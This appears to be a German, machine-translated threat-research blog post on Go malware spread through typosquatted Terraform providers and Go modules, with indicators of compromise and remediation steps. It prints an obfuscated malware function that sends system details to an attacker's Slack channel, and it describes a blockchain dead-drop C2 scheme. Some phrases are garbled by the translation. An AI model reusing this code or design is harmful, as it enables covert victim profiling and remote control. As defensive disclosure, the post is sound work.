Wir haben Go-Malware identifiziert, die über mindestens zwei Terraform-Anbieter und mindestens zwei Go-Module verbreitet wurde. Dies ist das erste Mal, dass wir Malware beobachtet haben, die über Terraform-Anbieter verbreitet wurde. Die folgenden Pakete enthalten die Malware:
- Terraform-Provider:
gocommunity-io/dockerdkreuzwenker/docker
- Go-Module:
gocommunity.io/orderedbtreegogets.dev/btreex
Die Malware weist Überschneidungen mit der „Graphalgo NPM“-Malware-Kampagne auf, über die ReversingLabs erstmals im Februar 2026 berichtete und über die in der vergangenen Woche auch Safedep, CheckMarxund JFrog. Bei der Malware handelt es sich um eine Go-Portierung der Graphalgo-Malware, die die Blockchain- und Slack-Infrastruktur sowie einen öffentlichen Schlüssel mit aktuellen JavaScript-Beispielen teilt, die über NPM verbreitet werden. Der Angreifer hat zudem mindestens zwei gefälschte Go-Ökosysteme erstellt, um die Verbreitung seiner Pakete zu fördern, was auf ein anhaltendes Interesse am Go-Ökosystem hindeutet.
Schädliche Terraform-Provider
Anfang September veröffentlichte ein Angreifer die Terraform-Provider gocommunity-io/dockerd und kreuzwenker/docker. Letzteres ist ein Typosquat der beliebten kreuzwerker/docker Der Terraform-Provider, der laut Angaben 56 Millionen Downloads verzeichnet. Beide Provider enthalten versteckte Einstiegspunkte in der /internal/provider/resource_docker_container_funcs.go Datei, die nur dann aktiviert wird, wenn der SHA256-Hash der containerName und Netzwerk-ID Die miteinander verketteten Terraform-Variablen lauten b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5. Das bedeutet, dass der bösartige Anbieter nur unter bestimmten Laufzeitbedingungen aktiv wird, was darauf hindeutet, dass die Malware im Rahmen eines gezielten Angriffs eingeschleust wird.
Der SHA256-Hash wird als AES-Schlüssel verwendet, um einen Dateipfad aus dem Paket zu entschlüsseln. Die Malware entpackt den Inhalt des Archivs, entschlüsselt jede darin enthaltene Datei mit AES und führt den entschlüsselten Code als Go-Paket unter Verwendung eines „detached“ aus. Geh laufen. Befehl. Die Ziel-ZIP-Datei lautet bei beiden Anbietern Beispiele/Ressourcen/Docker-Container/import-resource.sqlite3 mit SHA256-Hash 5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f.
RAT der zweiten Stufe
Der RAT der zweiten Stufe ist ein Go-Agent mit zwei Command-and-Control-Kanälen, der Blockchain-Dead-Drops und ein Slack-Bot-Token nutzt. Die Malware sammelt zunächst Systeminformationen, darunter Hardware-Eigenschaften, Betriebssystem, Hostname und ob node auf dem infizierten System verfügbar ist. Die Malware übermittelt diese Informationen an einen Slack-Kanal namens „frontend-devs“ im Slack-Workspace hxxps[:]//portfolio-devs.slack[.]com/ (Portfolio Devs). Beachten Sie, dass die Malware mit api.slack.com und die Subdomain des Arbeitsbereichs wird von der Malware nicht direkt kontaktiert.
func _ddb43801486d() error {
_ac1ff2594eef := helper.Keys()
_f20c82d34751, _f2b064c41863 := exec.LookPath("node")
if _f2b064c41863 != nil {
_f20c82d34751 = ""
}
_352b068ec729 := fmt.Sprintf(
"*🖥️ System Report*\n"+
"- Platform : `%s`\n"+
"- Arch : `%s`\n"+
"- Hostname : `%s`\n"+
"- Username : `%s`\n"+
"- Home Dir : `%s`\n"+
"- Node : `%s`\n"+
"- Time : `%s`\n",
_ac1ff2594eef.OS,
_ac1ff2594eef.Architecture,
_ac1ff2594eef.Hostname,
_ac1ff2594eef.User.Username,
_ac1ff2594eef.User.HomeDir,
_f20c82d34751,
_ac1ff2594eef.Time.Current,
)
if _0a93526f257a := helper.NewWith(_352b068ec729); _0a93526f257a != nil {
}
return nil
}Nach dem Check-in-Aufruf generiert die Malware ein temporäres öffentlich-privates Schlüsselpaar. Die Malware erzeugt gemeinsame Schlüssel, indem sie ihren temporären Schlüssel mit zwei öffentlichen Schlüsseln der Angreifer kombiniert. Der gemeinsame Schlüssel ermöglicht es der Malware, über gemeinsame Kanäle mit infizierten Clients zu kommunizieren, ohne dass die C2-Kommunikation offengelegt wird oder Nachrichten zwischen infizierten Hosts nach außen gelangen. Für die C2-Kommunikation über Slack verwendet die Malware den fest programmierten öffentlichen Schlüssel 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702. Die Malware schreibt den öffentlichen Schlüssel jedes Clients in den Kanal „frontend-devs“, woraufhin die gesamte Kommunikation mit dem gemeinsamen Schlüssel verschlüsselt wird. Die nachfolgende Kommunikation wird an einen anderen Slack-Workspace gesendet, hxxps[:]//portfolio-testers.slack[.]com/ (Portfolio-testers), in einen Kanal namens QA-Mitteilungen.
Bei der Blockchain-basierten C2-Malware ruft die Malware Daten aus einem Ethereum-Smart-Contract im Arbitrum-Sepolia-Testnetz ab, wobei sie die fest programmierte Vertragsadresse verwendet. 0xAD02b5cDE693529d3bdA0266299501ad0193036C, dann:
- Ruft den privaten Schlüssel für eine gemeinsam genutzte Ethereum-Wallet ab.
- Entschlüsselt den privaten Schlüssel mithilfe eines Schlüssels, der aus demselben Material abgeleitet wurde, das auch zur Entschlüsselung der zweiten Stufe verwendet wurde.
- Ruft den öffentlichen Schlüssel des Angreifers aus dem Vertrag ab.
- Erstellt einen gemeinsamen Schlüssel unter Verwendung des öffentlichen Schlüssels und des kurzlebigen privaten Schlüssels.
- Schreibt seinen kurzlebigen privaten Schlüssel mithilfe der Funktion
setCPubKeyMethode. - Liest verschlüsselte Befehle aus
serviceData1undserviceData2.
Die gemeinsame Wallet verfügt nur über Schreibrechte für die setCPubKey Schlüssel-Wert-Speicher, wodurch die Möglichkeiten für böswillige Clients eingeschränkt werden, den C2-Kanal mit Scheinnachrichten zu stören.

Die Malware fragt alle 3 Sekunden nach Blockchain-Befehlen und alle 10 Sekunden nach Slack-Befehlen ab. Entschlüsselte C2-Nachrichten enthalten einen Header, der die Malware anweist, den Textkörper als zusätzlichen Go- oder JavaScript-Code auszuführen (über node) oder sich selbst zu löschen.
Der C2-Mechanismus ist ein weiterer Hinweis darauf, dass diese Malware Teil einer gezielten Operation ist. Die Fähigkeit des Angreifers, Befehle zu erteilen, wird eingeschränkt, da alle Clients alle Nachrichten verarbeiten und eine No-Op-Aktion ausführen, wenn sie Nachrichten, die für andere Clients bestimmt sind, nicht entschlüsseln können. Dies ist eine bemerkenswert ausgeklügelte Implementierung eines Blockchain-Dead-Drops, die bidirektionale Kommunikation bei minimalem Risiko von Informationslecks oder Störungen integriert. Angesichts der zunehmenden Beliebtheit von Blockchain-Dead-Drops in Malware sollten Unternehmen, die keinen geschäftlichen Bedarf an der Interaktion mit Blockchains haben, erwägen, Warnmeldungen bei Netzwerkkommunikation mit HTTP-basierten Blockchain-Diensten auszulösen.
Go-Modul-Varianten
Wir haben außerdem festgestellt, dass dieselbe Go-Malware über zwei Go-Module verbreitet wird. Das Modul gocommunity.io/orderedbtree, das erstmals am 11. August veröffentlicht wurde, enthielt die Malware im Klartext, anstatt sie in verschlüsselter und komprimierter Form zu verbergen. Das letztgenannte Paket, gogets.dev/btreex, versteckte die Malware in einem ZIP-Archiv, das sich als SQL-Datei mit SHA256-Hash ausgab ab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5. Letzteres Paket erforderte zur Aktivierung eine speziell gestaltete Eingabe, die mit den Terraform-Providern übereinstimmte – die Malware wurde erst bei der Verarbeitung eines Objekts mit einem bestimmten ganzzahligen Preiswert aktiviert.
gogets.dev/btreex wurde erstmals am 8. September veröffentlicht. Der Angreifer nutzte gefälschte Commits im Repository „gogets-dev/btreex“, um Commits auf November 2025 zurückdatieren. Da Go Modules die Commit-Daten als maßgeblich betrachtet, zeigen der Go-Module-Proxy und pkg.go.dev das gefälschte Veröffentlichungsdatum an.
Zeitplan der Kampagne
Der öffentliche Schlüssel 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 Die in dieser Malware verwendete Technik wird zudem seit mindestens April 2026 in verschiedenen NPM-Payloads eingesetzt und tauchte erstmals in dem schädlichen NPM-Paket auf moderne Veranstaltungen. Gängige Smart-Contract-Adressen, Telegram-Adressen und Slack-Arbeitsbereiche verweisen zurück auf Der Blogbeitrag von ReversingLabs vom April zur Graphalgo-Kampagne.
Zum Zeitpunkt unserer Analyse war die QA-Mitteilungen Der Slack-Kanal enthielt seit der ersten verfügbaren Nachricht vom 16. Juli 1.240 verschlüsselte Nachrichten, und der Vertrag umfasste 1.402 Transaktionen, die bis zum 6. August zurückreichten.

Die im Klartext vorliegenden Check-in-Nachrichten im Slack-Kanal des Angreifers enthalten 18 eindeutige Hostnamen in insgesamt 725 Nachrichten. Drei der erfassten Opfer nutzen Windows-Geräte, fünf Linux-Geräte und zehn macOS-Geräte. Wir verfügen nicht über ausreichende Informationen, um Opfer anhand der Check-in-Daten im Klartext zu benachrichtigen, doch der Umfang der Aktivitäten des Angreifers scheint gering und zielgerichtet zu sein. Den frühesten Nachrichten im Chat zufolge testete der Angreifer diese Variante der Malware ab dem 16. Juli 2026 auf einem Windows-Gerät mit dem Hostnamen „Frank“ und dem Benutzernamen „Frank1“.
GitHub-Pivots und gefälschte Go-Ökosysteme
Zur Unterstützung dieser Aktivität wurden die folgenden GitHub-Konten und -Organisationen genutzt. Wir stellen fest, dass der Angreifer seine Malware auf GitHub regelmäßig bereinigt, vermutlich um die Lebensdauer der GitHub-Konten zu verlängern.
Beide von den Angreifern kontrollierten GitHub-Organisationen verfügen über zugehörige Websites, die vorgeben, neue Go-Paket-Ökosysteme zu sein, gogets[.]dev und gocommunity[.]io. Beide Domains wurden innerhalb eines Tages nach der Registrierung der vom Angreifer kontrollierten GitHub-Organisationen registriert. Beide Domains geben vor, ein System zur individuellen Namensgebung für Go-Pakete anzubieten, bieten jedoch keinen Mechanismus für externe Nutzer, um Pakete hinzuzufügen, und scheinen nicht funktionsfähig zu sein. Diese Domains werden vom Angreifer wahrscheinlich im Rahmen von Social Engineering genutzt, um die wahrgenommene Legitimität der schädlichen Pakete zu erhöhen.


Die Schaffung einer speziellen Ökosystem-Infrastruktur zur Unterstützung von Social-Engineering-Angriffen auf Go-Entwickler deutet darauf hin, dass der Angreifer beabsichtigt, weiterhin Malware zu veröffentlichen, die auf die Go-Lieferkette abzielt. Bemerkenswert ist auch, dass Terraform-Anbieter ins Visier genommen werden – während Entwickler-Workstations für Angreifer durchweg hochkarätige Ziele sind, sind Terraform-Nutzer eher an der Bereitstellung von Infrastruktur beteiligt. Durch die gezielte Attacke auf DevOps-Workstations könnte der Angreifer einen noch direkteren Zugang zu kritischen Produktionszugangsdaten erhalten. Uns sind zwar andere aktuelle Untersuchungen zu bösartigen Terraform-Anbietern bekannt, doch dieser Vorfall ist der erste uns bekannte Fall einer systematischen Malware-Verbreitung über Terraform.
Indikatoren für Kompromittierung
Pakete (alle Versionen):
- Terraform-Provider:
gocommunity-io/dockerdkreuzwenker/docker
- Go-Module:
gocommunity.io/orderedbtreegogets.dev/btreex
Dateien:
import-resource.sqlite35f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f
btreex.sqlab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5
Domains:
gocommunity[.]iogogets[.]dev
Sonstiges:
- Öffentlicher Schlüssel des Angreifers:
302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702- Slack-Arbeitsbereiche:
hxxps[:]//portfolio-devs.slack[.]comhxxps[:]//portfolio-testers.slack[.]comhxxps[:]//mediumstar.slack[.]com (historischer, nicht gemeldeter Indikator)
So schützt Sie „ Aikido “
Beide in dieser Kampagne identifizierten schädlichen Go-Module, gocommunity.io/orderedbtree und gogets.dev/btreex, werden in Aikido Intel bereits als Malware gekennzeichnet. Sollte eines dieser Pakete irgendwo in Ihrem Abhängigkeitsbaum auftauchen, werden Sie sofort benachrichtigt.
Wir verfügen noch nicht über ein Überwachungssystem für die Terraform-Registry. Die beiden bösartigen Terraform-Provider in dieser Kampagne, gocommunity-io/dockerd und kreuzwenker/docker wird nicht im „ Aikido “-Dashboard angezeigt. Wir werden unsere Abdeckung in Kürze auf Terraform-Anbieter ausweiten.
Sollte eines der oben aufgeführten Pakete oder eines der oben genannten Anbieter auf einem Entwicklerrechner oder einem CI/CD-Runner installiert sein, betrachten Sie die gesamte Umgebung als kompromittiert und gehen Sie davon aus, dass der Rechner selbst weit über das einzelne Paket hinaus betroffen ist.
- Trennen Sie den Rechner vom Netzwerk. Angesichts der C2-Kanäle der Malware (Slack-API-Aufrufe und ein Ethereum-Smart-Contract) ist ein infizierter Rechner möglicherweise auch nach der Entfernung des Pakets weiterhin für den Angreifer erreichbar.
- Erneuern Sie alle Anmeldedaten, die mit diesem Rechner in Berührung gekommen sind. Beschränken Sie sich nicht auf Go-Modul-Token. Erneuern Sie GitHub-/GitLab-Token, npm-/PyPI-/Go-Veröffentlichungstoken, Anmeldedaten von Cloud-Anbietern und SSH-Schlüssel. Wenn das betroffene Paket über einen Terraform-Anbieter ausgeführt wurde, sollten Sie insbesondere den Anmeldedaten für Cloud und Infrastruktur Priorität einräumen, da der Terraform-Angriffsvektor dieser Kampagne auf DevOps-Arbeitsstationen abzielt, die direkten Zugriff auf die Produktionsumgebung haben.
- Überprüfen Sie, ob während des Zeitfensters, in dem die Sicherheitslücke bestand, unbefugte Aktivitäten stattgefunden haben. Sehen Sie sich die jüngsten Commits, Paketveröffentlichungen, Terraform-Anwendungen und GitHub-Actions-Ausführungen an, die von diesem Rechner aus oder unter Verwendung seiner Anmeldedaten durchgeführt wurden. Gehen Sie davon aus, dass der Angreifer möglicherweise mit gültigen, funktionierenden Anmeldedaten gehandelt hat.
- Entfernen Sie das Paket und erstellen Sie ein neues Image des Rechners. Da die Malware über eine separate Datei eine entschlüsselte zweite Stufe ausführt,
Geh laufen., das Löschen des Pakets allein garantiert jedoch nicht, dass alles, was es gestartet hat, auch wirklich entfernt wurde. Nur durch eine Neuinstallation des Betriebssystems kann man sicher sein, dass der Host sauber ist.
Falls Sie sich nicht sicher sind, ob ein Paket in Ihrer Umgebung diesen Indikatoren entspricht, finden Sie die vollständige Liste der Hashes, Domänen und des öffentlichen Schlüssels des Angreifers im obigen Abschnitt „Indikatoren für eine Kompromittierung“.

